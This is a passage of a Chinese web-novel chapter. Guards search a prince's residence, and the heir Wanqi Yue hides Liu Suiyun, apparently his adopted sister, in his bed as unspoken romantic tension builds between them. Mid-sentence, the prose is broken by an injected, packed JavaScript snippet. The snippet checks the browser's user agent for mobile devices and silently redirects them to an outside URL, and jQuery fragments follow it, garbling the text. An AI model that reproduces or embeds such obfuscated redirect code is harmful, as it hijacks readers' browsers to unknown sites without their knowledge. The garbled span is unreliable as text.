素雅的屋内,一张绢面绣竹的屏风隔开了各怀心思的两人。
万俟月背对着屏风坐在桌边,小口小口地吃着妹妹带来的糕点,心中满是失而复得的欣喜。
在他身后,一层绢布之隔,柳随云泡在热腾腾的水里,猫儿一般的眼弥漫着湿润的雾气,雪白的双颊晕着一层粉,却不知是被热汽蒸的,还是因为胸腔里这不断鼓噪的心跳。
好奇怪好奇怪好奇怪。
从前在乡下小屋里隔着一层布帘洗澡也不曾这般奇怪过。
说起来,万俟月也快及冠了,她也快到二九之年……就算是亲兄妹,也该忌讳男女大防了吧?
她一时想快快洗完,手里动作一大,水声便“哗啦啦”的响起,叫她更为别扭。
可若是动作小点,轻点,如此多待一时,她浑身就像蚂蚁爬似的多难受一时。
而且……
她看了眼屏风上从小衣到外衫一应齐全的女裳。
这些女子衣物又是从哪里来的?
然而,柳随云的纠结并没能持续太久。
院外一阵杂乱的脚步声响起,原是护卫队铁了心认为府内进了贼,不依不饶地开始搜起王府内的各个院落,一路搜到了世子所住的停云居。
“府内疑似进贼,我等奉王爷之命搜查各个院落,请世子打开院门!”
王府护卫的声音远远响起,柳随云像只受了惊的兔子般“腾”得起身,急急忙忙穿上万俟月为她准备的淡蓝春衫,绕出屏风时,正好与皱着眉站起的万俟月撞上视线。
“万俟月,怎么办?”她慌里慌张,连衣服都没系好。
她就是这群人口中的“贼”,这院子这么小一点,她该往哪儿躲?
看着妹妹刚沐浴完后红彤彤的脸,万俟月眼中的阴霾顷刻尽散。他从容不迫地为妹妹系好领口,扭头冷声吩咐寻丘迅速撤走屏风与浴桶。
屋外的护卫还在高声叫嚣“请世子打开院门”,屋内柳随云像只热锅上的蚂蚁,四处乱转,找寻藏身之处。
见院中久无动静,门外的护卫逐渐不耐烦:“世子若再不开门,我等只好冒犯了!”
屋内装饰简单,若藏在衣柜,定然会被立刻发现,眼见无礼的护卫就要破门而入,情急之下,万俟月牵过阿云的手走到床边,将她塞到了锦被下,自己亦随着她躺到床上。
柳随云还未反应过来,便被埋在了被中,紧紧靠在万俟月身侧。
“万俟月!”他身上浅淡的苏合香味扑入鼻尖,柳随云意识到这样的距离万分不妥,抗议地推了推他,挣扎道,“憋死了!不如我一拳把他们统统打倒吧?”
“嘘。”万俟月一把捂住她不住叭叭的嘴。
远远听见护卫闯了进来,寻丘连忙放下了青纱帐。
护卫进了院,统领走到主屋门口高声问:“世子可睡下了?”
万俟月带着几分困意的声音呵斥道:“何人如此无礼!”
世子再不受宠爱,总归是正经主子,门口的统领也不敢太过造次:“世子息怒,属下奉王爷之命搜查贼人,还请世子开门让我等进去查看一番。这也是为了世子您的安危着想。”
万俟月冷哼一声:“本世子莫非是个蠢货,贼子进屋都不能察觉?还是说,你怀疑本世子窝藏贼人?”
统领忙道不敢,言语间却暗含威胁:“还请世子理解,这也是为了阖府安危,若有什么疏漏,王爷怪罪下来……属下只能如实禀告。”
“寻丘,去开门。”
门开了,统领带着一名手下进了屋,粗鲁地翻找起来,举止间动静极大。
“动作轻点,”万俟月警告道,“若碰坏了屋中的东西,休怪我不客气。”
统领瞪了手下一眼,那人连忙告饶:“不敢,不敢。”
锦被内的空气越发稀薄,柳随云出了满头的汗,不安分地扭动着。
太热了,她想悄悄掀一点被子,却被万俟月无情镇压。她一气之下扯过他的冰凉的手掌,贴到自己脸上降温,想让他也试试这身挥之不去的热意。
万俟月只觉自己的手被牵引着,抚摸上妹妹巴掌大的脸庞,她潮热的呼吸一阵一阵扑打在手心,热意从这一点开始蔓延,朝着四肢百骸一路窜去,逐渐爬上喉结,漫过下巴,染红了脸颊。
他悄悄呼出一口灼热的气息,深觉自己万分卑鄙。
阿云是妹妹,他为何会因妹妹的靠近而忍不住生出这样……绮丽的心思?
近乎禁忌的燥热烧得他心中越发痛苦,他不得不冲着两名没完没了的护卫发泄:
“查完没有,查完了就滚出去。”
“回世子,可否撩起床帐供我二人查看?”
听到这近乎挑衅的要求,万俟月气笑了,从柳随云手中抽走右手,抄起床上的瓷枕向帐外猛地掷去,“哗啦”一声巨响,瓷枕恰好碎裂在统领脚边,碎片弹起,划过统领的脸颊,留下一道极长的血痕。
“是什么让你等觉得本世子是个极好说话的人?”万俟月语气费解,“今日就算本世子一剑将你们砍了,你们王爷也不能对我怎样。要试试么?”
统领闻言,面色大变。
他这才真正意识到床榻之上那人与王爷乃是亲骨肉,他们不过下人,若真惹恼了主子,还不是主子要杀便杀。两人这下真的有些怵了,连声告饶,转身小跑着叫走在其余屋中搜查的护卫,离开了停云居。
“呼——”护卫前脚刚走,柳随云后脚便一把掀开了锦被,坐起身,“憋死我了。”
她低头想与万俟月说话,却奇怪地见他翻了个身,背对着她。
他声音与方才应对护卫时判若两人,温柔中带着一丝淡淡的沙哑:“今夜府中必定戒严,你不好出府。明早扮作丫鬟,我带你回去。”
柳随云看着他细白的后脖颈,红着脸点点头,点完头才反应过来他看不见,连忙道:“哦。可我今晚睡在哪里?”
万俟月顿了顿,道:“等会儿让寻丘来换了寝具,你就睡床上。”
她接着问:“那你睡哪儿?”
万俟月呼出一口热气,终于转过身平躺着仰视她,声音有几分慵懒:“哥哥睡对面的榻上。”
“哦……哦,好、好的。”
他此刻墨发散乱,面色坨红,一双桃花眼更是不知为何春意融融。
柳随云的心跳又开始变快。她磕磕巴巴。硬着头皮转移话题:
“对,对了,你这里怎么会,会有这么多女子的衣裳?”
万俟月仍躺着,眼睛一错不错看着她,闻言,轻笑一声:“哥哥做的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446050|185105||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
衣裳,阿云已经认不出了么?”他伸手牵了牵妹妹手臂上略短的袖子,“只是没想到阿云长得这般快,衣服小了些呢。”
被万俟月轻轻扯住袖子的那只手臂变得僵硬,他收回手时不小心碰到她仍埋在锦被下的膝盖,那一小片皮肤骤然紧绷。
“啊,这样,我……我长得是挺快的。”她干巴巴道。
万俟月看着妹妹的神色,察觉到自己忍不住在妹妹面前露出了怎样的不当形容,心中顿时万分自厌。
他恐怕是烧昏了头了,竟然这般不要脸,还怎么当阿云的兄长?
潮热在理智的诘问下渐渐退去,万俟月端正了面色,转移话题:“阿云还没告诉哥哥,身上的伤到底是怎么来的?”
“我和魏大将军打架了,魏将军说要是我能走过十招,她就带我入军营。”说到这些,柳随云也不磕巴了,也忘了什么不自在,脸上甚至有几分小小的得意,“你猜怎么着,我赢了!”
“阿云真厉害!”万俟月十分捧场,看着她包着纱布的手,想去触碰,却又觉不合时宜,“手腕脱臼了吧?纱布都湿了,我这里有药,直接换掉吧。”
眼见万俟月似乎有起身的意图,柳随云急忙俯身扶他。
两人一时靠得极近,近乎呼吸交缠。
他刚刚坐好,柳随云便连忙撒了手,起身下了床,倒了杯茶一口气饮下。
她的身后,万俟月垂着眸,眼神挣扎。
少顷,寻丘拿来了药与纱布,正要为柳随云换药。万俟月本想与她保持距离,可当寻丘的手指真的碰上妹妹的手腕,他又觉无比刺眼,忍不住制止:
“你下去,我来吧。”
寻丘停下了动作,起身离开。
万俟月指尖取了药,小心翼翼地敷在柳随云被接好的腕骨处。
“日后可不许这么拼了。”他轻声叮嘱,“你瞧你,连脸上都是乌青。”
柳随云的眼睛直直望着在她腕间翻飞的修长手指,闻言回过神,有些讪讪。
他的手指从前就这么好看吗?怎么从来没注意过?
上完药后,柳随云看着身后那方对于万俟月来说略显狭窄的小榻,支吾着提议:
“你,你是病人,还是我睡榻上吧。”
万俟月十分欣慰:“阿云长大了,还知道心疼哥哥呢。”
柳随云否认:“不是,我对谁都这样,你是重伤,我可不好占伤患的便宜。”
她刚准备走到小榻上躺下,却听见身后的万俟月忽然小声痛呼。
“唔……”
“怎么了?”柳随云急忙回头看他,却见他右手颤抖着捂住腹部,似乎极为痛苦。
万俟月宽慰地淡笑,声音却似乎因痛苦微微发起了抖:“没事……帮我把寻丘叫来吧,算了算,腹部的药也该换了。”
柳随云站在原地犹豫了片刻。
他方才才给自己换了手上的药,眼下投桃报李,她也该帮他的忙才是。
况且……三年前他既有苦衷,便也不算对不起她,无论如何,他养育自己这么多年,长兄如父,她也该向兄长尽尽孝。
上个药而已,对寻常兄妹来说再自然不过了。
想到这里,她目光变得坚定:“别叫他了,药在哪里,我帮你换吧。”